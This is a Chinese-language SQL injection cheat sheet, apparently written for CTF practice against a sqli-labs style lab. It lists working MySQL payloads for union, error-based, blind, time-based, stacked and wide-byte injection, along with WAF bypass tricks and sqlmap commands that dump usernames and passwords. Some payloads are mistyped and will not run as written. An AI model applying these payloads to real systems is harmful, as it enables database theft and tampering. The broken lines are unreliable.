sql注入

SQL注入原理

参数用户可控：前端传递给后端的参数内容是用户可以控制的

参数带入数据库查询：传入的参数拼接到SQL语句，且带入数据库查询

当传入的id参数为1' 时，数据库执行的代码如下

select * from users where id=1'
这不符合数据库语法规范，所以会报错。当传入的ID的参数为and 1=1时，执行的语句为

select * from users where id=1 and 1=1
因为1=1为真，且where语句中id=1也为真，所以页面返回id=1相同的结果。当传入ID参数为 and1=2,由于1=2不成立，所以返回假，页面就会返回与id=1不同的结果

在My SQL5.0版本后，MySQL默认在数据库中存放一个‘information_schema’

我们需要记住三个表名SCHEMATA(schemata),TABLE(table),COLUMNS(columns)

SCHEMATA表储存该用户创建的所有数据库的库名，需要记住该表中记录数据库库名的字段名为SCHEMA_NAME.

TABLES表存储该用户创造的所有数据库的库名和表名，我们需要记住该表中记录数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NMAE

COLUMNS表存储该用户创建的所有数据库库名、表名和字段名，我们需要记住该表中记录数据库库名、表名和字段名的字段名为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME

写题流程（一般在结尾加--+   或者加--空格 或者#或/**/）(大部分开头用-1或0，用1 有时候看不见）

一、联合查询
1.判断注入点
#判断闭合符
?id=1\
#字符型判断
?id=1' and '1'='1   #页面运行正常
?id=1' and '1'='2   #页面运行不正常
#数字型判断 
?id=1' and 1=1 -- -  #页面运行正常
?id=1' and 1=2 -- -  #页面运行不正常
注入点注入符号 
引号型注入    '   单引号注入               "双引号注入
混合型注入    ')  单引号加括号注入   ")双引号加括号注入
括号注入      ）     括号注入
演示的是字符串注入，通过不同的结果返回，此网站可能存在SQL注入漏洞

2.查询字段
?id=1' 
?id=1' order by 3
?id=1' order by 4
order by查询的是改数据表的字段数量

访问id=1' order by 3结果与id=1结果相同，访问id=1' order by 4结果与id=1结果不相同（报错）

结论：字段数为3

3.确定回显点

?id=-1' union select 1,2,3

根据字段数构造语句判断回显

4.基础查询信息

#查询当前数据库
union select 1,database(),3   
#查询所有数据库（后面的语句用来与database(）替换）
select group_concat(schema_name)  from  information_schema.schemata 
#查询指定数据库所有表数据
select group_concat(table_name)  from  information_schema.tables  where  table_schema='security'  
#查询指定数据库指定表的全部列数据
select group_concat(column_name) from information_schema.columns  where  table_schema='security'  and  table_name='users'
#查询指定数据库指定表的部分列数据
select column_name from information_schema.columns  where  table_schema='security'  and  table_name='users'  limit 0,1  #limit 0,1 表示从第一条记录开始，取一条记录
#查询指定数据库指定表的指定列的字段值
select  group_concat(username,0x3a,password) from  security.users

0x3a:（ concat()函数 0x3a的作用 别名a

• concat()函数将字符串会将字符串拼接起来

• 0x3a的ASCII码是 : 主要是用来分隔其他字符串,让人可以快速定位重要信息

• 在括号后面有一个a是别名的意思,是as a的简写.它是前面语句的另一个名字,主要是为了减少重复出现复杂语句）

二、报错注入

程序把错误信息输入到页面上，利用报错注入获取数据（这里可以使用extractvalue()和updatexml()）个人习惯于用updatexml

updatexml() 函数报错注入原理
updatexml() 函数定义
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数：XML_document是String格式，为XML文档对象的名称；
第二个参数：XPath_string (Xpath格式的字符串)；
第三个参数：new_value，String格式，替换查找到的符合条件的数据；
updatexml() 函数运行机制
该函数对XPath_string进行查询操作，如果符合语法格式要求，则用第三个参数替换，不符合语法格式要求，则会报错并带出查询的结果

报错执行
 SELECT updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);
结果：
ERROR 1105 (HY000): XPATH syntax error: '~8.0.12~'
其中 0x7e 为十六进制字符 ~用于分隔字符串
payload:
and updatexml(1,concat((SELECT group_concat(0x7e,column_name) from users)),1);

关于concat()与group_concat()的用法与区别
concat和group_concat都是用在sql语句中做拼接使用的，但是两者使用的方式不尽相同，concat是针对以行数据做的拼接，而group_concat是针对列做的数据拼接，且group_concat自动生成逗号

concat()：

 select CONCAT(username,0x7e,password) from users;
结果：
+----------------------------------------+
| CONCAT(username,0x7e,password)         |
+----------------------------------------+
| admin~e10adc3949ba59abbe56e057f20f883e |
| george~afafagafh3427hr5s565s6h565d4fsh |
+----------------------------------------+
2 rows in set (0.00 sec)
group_concat():

 select GROUP_CONCAT(username,0x7e,password) from users;
结果：
+-------------------------------------------------------------------------------+
| GROUP_CONCAT(username,0x7e,password)                                          |
+-------------------------------------------------------------------------------+
| admin~e10adc3949ba59abbe56e057f20f883e,george~afafagafh3427hr5s565s6h565d4fsh |
+-------------------------------------------------------------------------------+
1 row in set (0.00 sec)
concat()有几行数据就输出几行数据

group_concat()将所有数据放在一行，将每组数据用逗号隔开

extractvalue()函数报错注入原理
extractvalue()函数定义
EXTRACTVALUE (XML_document, XPath_string);
第一个参数：XML_document是String格式，为XML文档对象的名称；
第二个参数：XPath_string (Xpath格式的字符串)；
作用：从目标XML中返回包含所查询值的字符串；
用法与updatexml相同

payload：

and extractvalue(1,concat((SELECT group_concat(0x7e,column_name) from users)));
 

' and updatexml(1,concat(0x7e,(select user()),0x7e),1)  -- +

1.substr()函数

使用substr函数来一段段读取输出的内容

substr(string,start<,length>)从string 的start位置开始提取字符串
length:待提取的字符串的长度，若length为一下情况时，返回整个字符串的所有字符。
1、length不指定
2、length为空
3、length为负值
4、length大于字符串的长度

substr("123456",1,5)   #12345

2.查询语句
查询语句与union注入相同，报错只显示一条结果

#获取 列的字段数
id=1' union select 1,2,3  #回显 you are in...
id=1' union select 1,2,3,4   
#回显 The used SELECT statements have a different number of columns     
 
#获取当前数据库库名
and updatexml(1,concat(0x7e,(select database()),0x7e),1)  -- +
#获取所有数据库库名(最高到31)
and updatexml(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)--+
and updatexml(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),32,63),0x7e),1)--+
#获取指定数据库的所有表名
and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)--+
#获取指定数据库的指定表下的列数据
and updatexml(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.column where table_schema='security' and table_name='TKbvbxDK'),1,31),0x7e),1)--+
#获取指定数据库的指定表名指定列下的字段值
and updatexml(1,concat(0x7e,substring((select group_concat(id,0x3a,flag) from security.TKbvbxDK),64,95),0x7e

三、布尔盲注
1.length( )函数
判断数据库长度 length()

' and length(database())>=1 --+
2.substr( )函数
' and substr(database(),1,1)='t' -- +
3.ord( )函数
ord()函数：转换为ascii码

' ord(substr(database(),1,1))=115 -- +
4.查询语句
#判断数据库长度
and length(database())=8 --+
and length(database())>=9 --+
#指定字符一位一位判断截取到的字符
and substr(database(),1,1)='a' -- +
and substr(database(),2,1)='q' -- +
#使用ascii码比对截取到的字符
and ascii(substr(database()1,1))=114  -- +
and ascii(substr(database()1,1))=115  -- +
#查询表名
and substr((select  table_name  from  information_schema.tables  where  table_schema='security' limit 0,1 )='e'  -- +
四、时间盲注
GET注入由于id值本身为真，判断注入点使用and运算符

POST注入uname本身为假，判断注入点使用or运算符

判断闭合方式

and sleep(5)   -- -
判断字段数目  3

order  by  3
order  by  4
if("表达式",条件1，条件2,) if(1=2,1,0)-->0

if(length(database())>=1,sleep(5),1)
1.sleep( )延迟函数
sleep(5) #页面加载延迟5秒

if(length(database())>=1,sleep(5),1)
2.查询语句
#判断数据库名称
and if(length(database())=1,sleep(5),1)  -- - 
and if(length(database())=1,sleep(5),1)  -- - 
#使用subsre函数比对截取到的字符
and if(substr(database(),1,1)='s',sleep(5),1)  -- +
#使用ascii码比对截取到的字符
and if(ascii(substr(database(),1,1))=115,sleep(5),1)  -- +
#查询当前数据库下的表数据
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=85,sleep(5),1 -- -
#查询当前数据库下的指定表数据的列数据
and if(ascii(substr((select column_name from information_schema.columns  where  table_schema='security'  and  table_name='8LPD9XiO'  limit 0,1),1,1))=105,slepp(5),1 -- -
#查询当前数据库下的指定表数据的列数据的字段值
and  if(ascii(substr((select  group_concat(id,0x3a,flag) from security.8LPD9XiO),1,1))=115,1,sleep(5)) --+
五、堆叠注入
';select if(substr(user(),1,1)='r',sleep(3),1)%23
构造不同的时间注入语句，可以得到完整的数据库的库名，表名，字段名和具体数据

1.查询语句
#获得MySQL当前用户
;select if(substr(user(),1,1)='r',sleep(3),1)%23
#获得数据库表名
;select if(substr((select  table_name  from  information_schema.tables  where  table_schema=database() limit 0,1),1,1)='e',sleep(3),1)%23
2.使用联合注入
#判断注入点  单引号注入
?id=1'  and 1=1-- - HTTP/1.1
?id=1'  and 1=2-- - HTTP/1.1
#判断字段数目  3
?id=1'  order by 3 -- - HTTP/1.1
?id=1'  order by 4 -- - HTTP/1.1  #Unknown column '4' in 'order clause'
#判断回显位  2，3
?id=-1'  union select 1,2,3 -- - HTTP/1.1
#查询当前数据库
?id=-1'  union select 1,database(),3 -- - HTTP/1.1
#查询当前数据库下所有表信息
?id=-1'  union select 1,(select  group_concat(table_name)  from  information_schema.tables  where  table_schema='security' ),3 -- - HTTP/1.1
#查询当前数据库下指定表下的列信息
?id=-1'  union select 1,(select group_concat(column_name) from information_schema.columns  where  table_schema='security'  and  table_name='users'),3 -- - HTTP/1.1
3.使用堆叠注入向user中插入数据
#插入用户密码数据
?id=1';insert into users(id,username,password) values(66,'aiyou','bucuo') --+
#插入当前数据库数据
?id=1';insert into users(id,username,password) values(67,database(),'bucuo') --+
#查询当前数据库信息下方查询方式同等    ?id=67 
----------------------------------------
#插入查询所有表的所有数据，但数据仍显示不全
?id=1';insert into users(id,username,password) values(72,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 ) ,'buuck') --+
#插入当前数据库下的指定表数据
?id=1';insert into users(id,username,password) values(71,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,1) ,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1)) --+
#插入当前数据库下的指定表数据的列数据
?id=1';insert into users(id,username,password) values(74,(select column_name from information_schema.columns where table_name="users" limit 13,1) ,(select column_name from information_schema.columns where table_name="users" limit 12,1)) --+
#删除数据
?id=1';delete from users where id=74 and sleep(if((select database())=0x7365637572697479,5,0));
六.宽字节注入
1.查询语句
#判断是否存在注入
id=1%df' and 1=1%23
id=1%df' and 1=2%23
#查询字段数量   3
id=1%df' order by 3%23
id=1%df' order by 4%23  #Unknown column '4' in 'order clause'
#union注入
id=-1%df' union select 1,2,3%23
#查询当前数据库名
id=-1%df' union select 1,database(),3%23
#查询所有数据库
select group_concat(schema_name) from information_schema.schemata
#查询当前数据库部分表名
select table_name from information_schema.tables where table_schema=(select database()) limit 0,1
#查询当前数据库所有表名
select group_concat(table_name) from information_schema.tables where table_schema=(select database()) 
#查询指定数据库指定表名下的部分列名
select column_name from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1) limit 0,1
#查询指定数据库指定表名下的所有列名
select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1)
#查询指定数据库指定表名下的所有列名的字段值
id=-1%df' union select  1,(select group_concat(id,flag) from security.GGXSsnCj),3%23

七.order by 后的注入
①直接注入语句，?sort=(select )

②利用一些函数。例如rand()函数等。?sort=rand(sql语句)

③利用and，例如?sort=1 and (sql语句)

④rand(true)和rand(false)结果是不一样的，可以利用这个性质注入

?sort=right(version(),1)
1.使用报错注入
#查询当前用户
?sort=(select extractvalue(0x7e,concat(0x7e,user(),0x7e)))
#查询当前数据库
?sort=(select extractvalue(0x7e,concat(0x7e,database(),0x7e)))
#查询当前数据库下的部分表数据
?sort=(select extractvalue(0x7e,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e)))
#查询当前数据库下的指定表的列数据
?sort=(select extractvalue(0x7e,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='TKbvbxDK'),1,31),0x7e)))
2.使用rand(true)和rand(false)
?sort=rand(ascii(left(database(),1))=115)
?sort=rand(ascii(left(database(),1))=116)
3.使用延迟注入
#查询当前数据库
?sort=1 and (if(length(database())>2,sleep(5),1) ) -- -
#查询当前数据库下的表数据
?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=100, sleep(5), 1)-- +
#查询当前数据库下的指定表数据的列数据
?sort= 1 and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100, 0, sleep(5))-- +
4.使用and
#查询当前数据库
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)  -- +
#查询当前数据库下的表
?sort=1 and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)  -- +
重点：常见Waf绕过方式
1.大小写绕过
and And or Or

2.双写绕过
select -----seselectlect

and-----aandnd

union-----uunionnion

3.编码绕过
Hex编码、URL编码、宽字节、Unicode编码

编码格式    编码形式
URL编码    %66%72%20%31%3d%31(and 1=1)
Unicode编码    n%u0069on
4.空格绕过方法
/**/ 、 ()、+、%20、%09、%0a、0x0a、0x0b、0x0c、0x0d

5.等价字符以及等价函数
and or xor 的过滤

and => &&

or => ||

xor => ^

not => !

6.等价函数
hex()、 bin()==>ascii()

concat_ws()==>group_concat()

sleep()==>benchmark()

mid()、substr()==>substring()

@@user==user()

@datadir==datadir()

总结主要查询语句
#爆当前数据库
select 1,database(),3   
#爆所有数据库
select  group_concat(schema_name)  from  information_schema.schemata 
#爆所有表数据
select  group_concat(table_name)  from  information_schema.tables  where  table_schema='security'  
#爆部分表数据
select  table_name  from  information_schema.tables  where  table_schema='security' limit 0,1
#爆所有字段数据
select group_concat(column_name) from information_schema.columns  where  table_schema='security'  and  table_name='users'
#爆字段数据
select column_name from information_schema.columns  where  table_schema='security'  and  table_name='users'  limit 0,1
#爆字段值
select  group_concat(username,0x3a,password) from  security.users
SQLMAP工具的使用
第一步：判断是否存在注入点

sqlmap.py -u "http://localhost/sql/Less-1/?id=1"

 第二步：查询数据库

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" --dbs

 第三步：查看当前数据库

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" --current-db

 第四步：列出指定数据库的所有表

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D "security" --tables

第五步：读取指定表中的字段名称

sqlmap.py -u "http://localhost/sql/Less-1/?id=1"  -D "security" -T  users --colunms

 第六步：读取指定字段内容

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D "security" -T  users -C username,password --dump